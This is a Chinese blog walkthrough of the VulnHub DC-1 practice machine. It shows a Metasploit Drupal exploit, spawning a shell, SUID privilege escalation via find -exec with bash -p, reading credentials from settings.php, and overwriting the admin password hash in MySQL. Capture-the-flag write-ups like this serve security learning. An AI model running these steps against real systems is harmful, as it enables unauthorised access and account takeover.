vulhub DC1 靶场实战

前言:

   这是我的第二个靶场实战,前面因为我护网的一些事情没有更新,然后今天又要开始自己的靶场练习了,对于以后想从事渗透方面以及网安方面的同学,靶场是非常有用的,可以让我们快速掌握相关的知识,现在就开始吧

一、准备环境

  相关的环境还是在网上就可以搜到,下载地址为DC: 1 ~ VulnHub。该靶机的难度系数为简单,其中有五个flag,我们在练习的过程中可以直接跳过其中以部分flag中的提示直接拿到root权限,我这边也就不进行一一表述了,需要的同学可以查找我上一篇博客关于gigachad靶场就可以查到。

二、开始动手

  首先还是用我们的老工具nmap,输入命令

nmap -A  --min-parallelism 200 192.168.79.134

-A 代表扫描综合性扫描,会扫描出很多内容

--min-parallelism 200:表示一次性对这台主机发送200个扫描包

可以看出得出了很多的信息,一些端口的开放信息,以及他的cms是Drupal,在浏览器上打开这个网站看看有无啥有用的信息

仔细看看之后发现并无啥可以利用到的信息,此时无从下手,但是通常情况下cms会存在比较多的漏洞可以利用,此时我们可以用用我们的msf(美少妇)。

msfconsole //启动msf

search drupal  //查找跟drupal有关的漏洞

可以看出在msf上有这么多的可用的漏洞,通常情况下我们可以看看时间最新的是否可以利用,逐个尝试,发现2018年的那个可以获取到shell,输入以下命令

use 1

set rhosts 192.168.79.134

run

getuid

发现权限是www-data

为了获取一个交互式的shell,可以通过python来调用bash,输入以下命令

shell

python -c 'import pty;pty.spawn("/bin/bash")'

尝试输入ls,看看是否有我们需要的flag

可以看出有我们所需要的flag1,打开看看,输入以下命令

cat flag1.txt

此时我们已经找出了第一个flag,继续干!!!

此时我们这个还是普通用户,可以尝试试试提权,前面的博客我们用到的suid提权,这个命令的意义就是让程序的执行者拥有属主权限,所以,找到一些属主为高权限的并且有suid的命令并且执行它,就可以达到提权的效果,常见的可以提权的命令有bash,find,more,less,cp等,输入以下命令

find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

-perm 是代表按指定权限搜索。

-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。关于这个参数更详细的内容可以参考:https://blog.csdn.net/weixin_44061169/article/details/105784760

-tpye 代表搜索指定的类型,f代表文件。

-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以;为结束标识。更详细内容可以参考:https://www.pianshen.com/article/86691137271/

2>/dev/null 代表将不显示错误信息,详细介绍已经在前面的博客讲了,可以参考我前面的博文

运气挺好,我们找个了个find命令,此时我们继续输入以下命令

echo >a

find a -exec /bin/bash \;

id

echo >a 是创建一个文件,提供给find来搜索。因为find每找到一个文件就会执行一次命令,为了让find只执行一次,所以创建一个独特的文件供find搜索。

没有提权成功,经过长时间的研究后发现执行/bin/sh能提权成功。因为sh指向的文件时/bin/dash,这两个都能执行shell命令,但是dash是个简易版的shell执行程序。因为/bin/bash 比较高级,所以它考虑的事就会多一点,它会在执行时强制把euid(suid)转化成当前用户的uid,也就是不以root权限执行。但是加一个参数-p的话就不会强制转化euid了。如下图所示,加上参数-p即可提权成功。更详细内容可以参考:https://zhuanlan.zhihu.com/p/156795223?from_voters_page=true
 

find a exec /bin/bash -p \;

或者

find a -exec /bin/sh

此时提权成功了,可以获取最终的flag了

cd root

cat thefinalflag.txt

很幸运我们已经获取到了两个flag,现在就是尝试获取其他的flag

按照前面打靶机的经验来看,网站目录里必定有个数据库配置文件,里面包含着账号和密码。这个账号和密码也许会和系统管理员账号密码或其他服务程序的账号相同。现在就去网站目录里面找一找数据库配置文件。

最终在/sites/default这个目录中找了了配置文件settings.php,在这个文件中发现了账号dbuser,密码R0ck3t。直接连接mysql数据库并查询用户数据。注意flag2也在这个文件中。

注意:这个文件需要退到以前的普通用户,输入exit退出

此时我们也已经知道了flag2,以及相关的数据库信息,账号是dbuser,密码是R0ck3t

输入以下命令

mysql -udbuser -pR0ck3t

-u 后面是账号,-p 后面是密码,不用加空格。

依次输入以下命令

show databases; //查看有哪些数据库

use drupaldb; //选择drupaldb数据库

show tables; //查看drupaldb中有哪些表

select * from users; //查询users表中所有数据

可以看出admin对应的密码为密文,通过查询 users报中的账号得知admin的密码是$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,但是这种密文与linux中系统账号的密文十分类似。仔细分析,又与系统账号的加密方式不同,这个应该是采用了独特的加密方式,下一步可以在网站目录里面找找有没有加密的脚本文件。
网站的根目录下有一个scripts的文件夹,这个名字就很脚本。最终在这个目录里面发现一个名为password-hash.sh的脚本文件,该文件应该就是密码的加密脚本了。

执行脚本对密码admin加密。

./password-hash.sh admin

发现报错了,提示缺少文件。我们检查一下这个脚本文件。

vi password-hash.sh

看到这个我发现是文件引用出现了问题,引用的文件在网站根目录下的includes文件夹中,但是我们执行脚本的目录是 scripts,所以这个脚本就会把scripts当成根目录,所以我们应该到网站更目录执行这个脚本。

cd /var/www

./scripts/password-hash.sh admin

现在就执行成功了,admin加密后的密文是$S$Da5pH6rAqzOZUH6j8Q7uW967xXBOTKhi3/ebKFRXwCpAJU4vb6Vo。接下来我们把admin的密码修改成这个密文。执行下面命令

mysql -udbuser -pR0ck3t         //连接数据库
use drupaldb                    //选择drupaldb库
update users set pass='$S$Da5pH6rAqzOZUH6j8Q7uW967xXBOTKhi3/ebKFRXwCpAJU4vb6Vo' where name='admin';  //更新密码

如上图所所示说明更新成功,下面我们就登陆一下管理员账号。登陆后点击左上角的Dashboard,然后点击中间的flag3

然后就打开了一个带有flag3的页面,并给出了提示。PERMSFIND-exec,我估计这个应该说的是用find命令,也就是提示我们用suid提权。但是我们在之前已经提权了,我们现在只需要找到flag4即可。

上面还有提示passwd,那我们查看一下这个文件试试。

cat /etc/paasswd

cd /home/flag4

ls

cat flag4.txt

此时所有的flag已经找到,这个靶场也已经成功了

三、总结

千里之行,始于足下,这个靶场相比与前一个靶场难度加大了很多,以后得靶场肯定是越来越难的,只不断突破自我,才能收获成功!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值